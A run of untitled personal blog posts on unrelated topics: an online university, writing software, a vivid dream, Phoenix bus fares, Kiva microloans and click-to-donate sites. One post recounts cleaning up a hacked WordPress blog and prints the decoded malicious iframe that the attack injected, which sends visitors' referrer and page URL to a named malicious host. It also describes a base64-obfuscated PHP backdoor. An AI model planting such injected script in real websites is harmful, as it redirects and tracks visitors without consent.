Alas, no weiner whistles to be had. A picture will have to suffice, for now.

I do kind of wonder, though, where it was going to or coming from at 6pm in the evening.

But, this morning, I discovered University of the People. They’re relatively new and (for now) aren’t charging any fees. Fees are supposed to be very low ($50 or less for application and $100 or less per class, depending on the student’s country). And they only offer two programs at the moment: Business Administration and Computer Science.

Unfortunately, UoP isn’t currently accredited either, so you what you study there might not “count” for later. However, they’re looking to become accredited.

Even if they don’t, their coursework is likely a better option for some people who would like to study but want something slightly more structured than previous free/open university courses offered elsewhere.

I know I plan on applying shortly and even if it never really “counts”, at least I’ll have learned more than I know now.

Writer’s Cafe is a nifty little program that lets you storyboard and brainstorm. It also has a random name generator and a random plot idea generator. There’s an in-program journal as well. If you want to practice writing under a deadline, there’s a timer thing available as well. All in all, it the demo looks to be a nifty little program. The full one is about $60, but it looks to be a good deal for a serious writer.

I had reason to go searching for something in my blog this morning. In the process, I found out my blog had been hacked to redirect people away. Guess that’s what I get for not paying attention. I could’ve sworn that I’d upgraded… but apparently not.

Of course, I freaked.

Some digging around produced a helpful link or two or three regarding what to do.

After reading through the instructions, I prepared for hours worth of removing junk from my site. After downloading the entire blog as well as a backup of my SQL DB, I found… nothing. Well, almost nothing. The hack consisted of:

1. 6 or 7 unauthorized users, one of which was an admin.
2. Some obfuscated Javascript in the header.php of my theme.
3. A randomly named PHP file in my upload directory.

Things were, clearly, better than I thought. Despite the dire predictions of others, this was fairly simple to fix.

1. Upgrade! I thought I had before, obviously not. But I upgraded now.
2. Delete those unauthorized users.
3. Delete the “845530.php” file in my upload directory.
4. Delete the offending Javascript in my header.php file.

After doing this, I was left with an obfuscated PHP file and Javascript. So, of course, I decided to decrypt them.

The PHP file was easy. Two times through base64_decode() produced readable code. The offending file is pretty long, so I’m not sure precisely what it does, but there are a few interesting points. There are a few lines that seem to allow the hacker to download and email themselves your SQL DB. This is, no doubt, why you’re advised to change your password after getting hacked. It also likely helps your server function as a “relay” station for the Javascript. As such, it’s absolutely necessary that you find and delete this ASAP.

The Javascript proved a bit trickier. It was encoded differently and it took me awhile to figure out how to get it, and then that was only after help and a nudge in the right direction. It proved to be code that would write the following to your page:

<iframe src=’http://itsallbreaksoft.net/tds/in.cgi?3&seoref=” encodeURIComponent(document.referrer) “&parameter=$keyword&se=$se&ur=1&HTTP_REFERER=” encodeURIComponent(document.URL) “&default_keyword=notdefine’ width=1 height=1 border=0 frameborder=0></iframe>

After Googling for itsallbreaksoft.net, this turned out to be a known “bad site”.

Strangely enough, none of the sites make mention of the obfuscated PHP file, although I’m fairly certain it’s all part of the same exploit.

I was an older teen girl, 16-19 or so. And my family was Jewish. I had, uh, 4 or 5 brothers and sisters. My father was working on something for ‘the government’ (it wasn’t the US, but I’m not sure /where/ it was). And he’d made some enemies, so people were trying to break into our house. We woke up one night to find a ninja(!?) was breaking into our house. Somehow, he got scared away. So we’re scared, trying to live normally… I befriend 3 slightly older (college age-ish) young men. Nothing romantic, just friendly stuff. And as long as they’re in the house, for some reason, the ninjas or whatever won’t break in and steal whatever it is. Somewhere in there, I start singing about llamas with the three older guys. Somehow, this symbolizes my father’s enemies. My (much) younger brother, meanwhile, makes friends with a “Bavarian” boy about his age…

It’s been about a week since the ninjas tried to break in; the older guys have been staying over for some reason that I can’t fathom. Somehow, the llama song convinced them to stay. Anyway, we suddenly realize it’s past “curfew” and my little brother’s Bavarian friend is still at our house and we realize that he needs to go home. This wouldn’t be too much of a problem, escept the “Bavarians” live in their own little section of the town/city and the gates have closed. Either my little brother or the Bavarian boy says that they know of a place where the Bavarian boy can slip through and get home. Reluctantly, we set off (my siblings and the three older guys) with the Bavarian boy to see him as far home as we can. When we get there, though, we find out that the fence has been mended! Ohnoes! Well, it’s more of an ohnoes when several “policemen” step from the shadows and out of nearby buildings. “What are you all doing out so late?” “We’re just trying to get this little boy home.” “What little boy? I don’t see any little boy.” And, sure enough, the Bavarian kid has disappeared!

Just then, someone we recognize as an enemy of our father steps out and we realize it’s a trap. The little Bavarian boy was part of a trap for us to get caught. I’m not sure what happened to the three older guys, but they’re still on our side. Either way, we realize that there’s nothing left for us to do but RUN. So we run and try to get back home. Somehow, they half-catch us and manage to get our hands tied (in front), but we still manage to escape. And we’re running back home, I’m urging my siblings (I think it was 2 younger brothers and 2 sisters? Maybe?) to run faster, our parents have to be warned. If they don’t find out about this, aside from nasty things happening to /us/, our parents are ruined.

Meanwhile, we’re trying to slip out of the hand restraints. One of my oldest (younger) sisters manages to and I’m almost out… but not quite. So we’re running and running and go past a certain building where there are enemy people and they try to capture us by tripping/lassoing us with plastic filament. My siblings almost get caught and I slow down to buy my siblings some time. So the thing the enemy is using ends up snaring my hands, somehow. And I’m pulling and pulling to keep from getting pulled inside. And the plastic filament is stretching and they’re using some sort of mechanical device that somehow ends up getting overwhelmed by my strength. So my father’s main enemy steps out at this time, shouting something to the people inside about being ‘incompetent fools!’ and how X and Y should be done, and he tries to catch me himself…

My hands are still tangled up, so it looks like he’s going to have things easy. And he’s gloating about something or another. But as he’s monologuing, I pull and pull and (though my hands are still tied), I’ve got quite a bit of slack in the plastic filament thing. He’s stalking me, still monologuing, and doesn’t seem to realize this. He gets close, I throw a length of the stuff around his neck, loop it a few times, and pull. He dies. And that’s when I woke up.

If you’ve never seen Dinosaur Comics, then you’re missing out on some surreal stuff. But, if that wasn’t surreal enough for you, I’ve recently found a “Dinosaur Comics generator“, that uses a couple frames from the comic and Twitter posts to make some… bizarre things. I’m not sure how random it is, if there’s some sort of algorithm to match the text in the first panel to the second or if it’s completely random. But, still… I saw one today that amused me:

If only… if only. I would love to be able to teleport food and drink around. It’d be so handy!

Oftentimes, I will get out to the stop and look down the street, only to see a bus way off in the distance. It went by 2 minutes before I got there. Now, that was either the previous bus 15 minutes late or the next bus 15 minutes early. But which one? Since I can’t exactly do anything else, I sit down to wait.

And wait.

And wait some more.

I’ve waited over an hour before for a bus that’s supposed to run every 15 minutes. That’s a bit of a stretch, but it’s not uncommon to end up waiting 15-30 minutes past when the schedule says the bus should be there.

If you’re trying to get somewhere, the “helpful” Valley Metro trip planner may say the trip will take an hour but you should definitely plan for at least half an hour extra.

For this deplorable service, we are currently supposed to pay $2.50 a day. Not too bad, still cheaper than a car. If you work 5 days a week, that’s $50. A 31 day pass is $45, so that’s not much of a savings unless you ride the bus at least 6 days a week.

In July, however, they are going to raise the rates to $1.75 for a one-way pass or $3.50 for an all day pass. This is just crazy! They aren’t providing better service, but they’re raising the rates anyway. The real insult, however, is that you’ll now be required to pay $5.25 if you buy your pass on the bus. I have been to Las Vegas their all day passes cost $5. Valley Metro doesn’t provide anywhere near the same level of service.

For one, buses along the strip come every 15 minutes, at the most. And times when there are a bazillion people that will be wanting to use the bus to get from casino to casino? Every seven minutes. Seven! We’re lucky if we can get fifteen, with half an hour being more common and an hour between buses not unheard of.

Now, I know that the Phoenix area probably doesn’t have the potential ridership of Las Vegas, but would it kill them to at least give us decent service for our money?

I almost forgot… They say they’re raising rates to make up for sagging revenue. I can tell you the real reason their revenue’s sagging, poor service or not. But I’ll save that particular rant until next time.

Random thought: You know what’s one sentence I never heard uttered before today? I can has hypercube.

Don’t ask. It’s probably better you don’t know.

Microloans are for people who don’t qualify for a bank loan, because their loan amount is too small so they’re not a “good credit risk” for the bank. It doesn’t matter if the person is likely to pay it back, they’re not worth the bank’s time. Just like here in the US, where they’d probably look at you funny if you came in asking for a $500 loan out of the blue.

The other option for these people is from a money lender. We’d call them loan sharks. The average interest rate that these people charge is around 80%. In one area, the interest rate is about 120% while the Kiva lender only charges 20%.

Anyway, you go to Kiva, give $25, and maybe you’ll get the money back eventually with some interest. Like any loan, however, there are unforeseen risks. Robbery, sickness, drought, etc. can all cause a default. But if you give money to hurricane, earthquake or tsunami relief, you don’t expect the money back right?

But what if you don’t have $25 to wager in such a fashion? Fortunately, there are a couple options right now.

Small Things Challenge – For every click, they give a nickel to charity. Not much, but you can click every day and that nickel adds up over time.

Think MTV – This one is really great. Sign up for Think MTV, follow the instructions and receive a $25 gift certificate for Kiva in a few days. Free. Doesn’t cost you anything. Must be a resident of the US. One gift certificate per person.

Thankfully, the gift certificates don’t expire until April because the loans at Kiva are getting funded at a phenomenal rate right now. It’s amazing what a few people can do.

There are other similar-ish concepts out there, like The Hunger Site and a closer match at FreeRice, but this is the first site I’ve seen with actual games to play.

The Hunger site has given away more than 500 million cups of food and FreeRice has given away approximately 1.1 million kilograms of rice.

Can Charity Arcade beat or top those totals? We’ll see.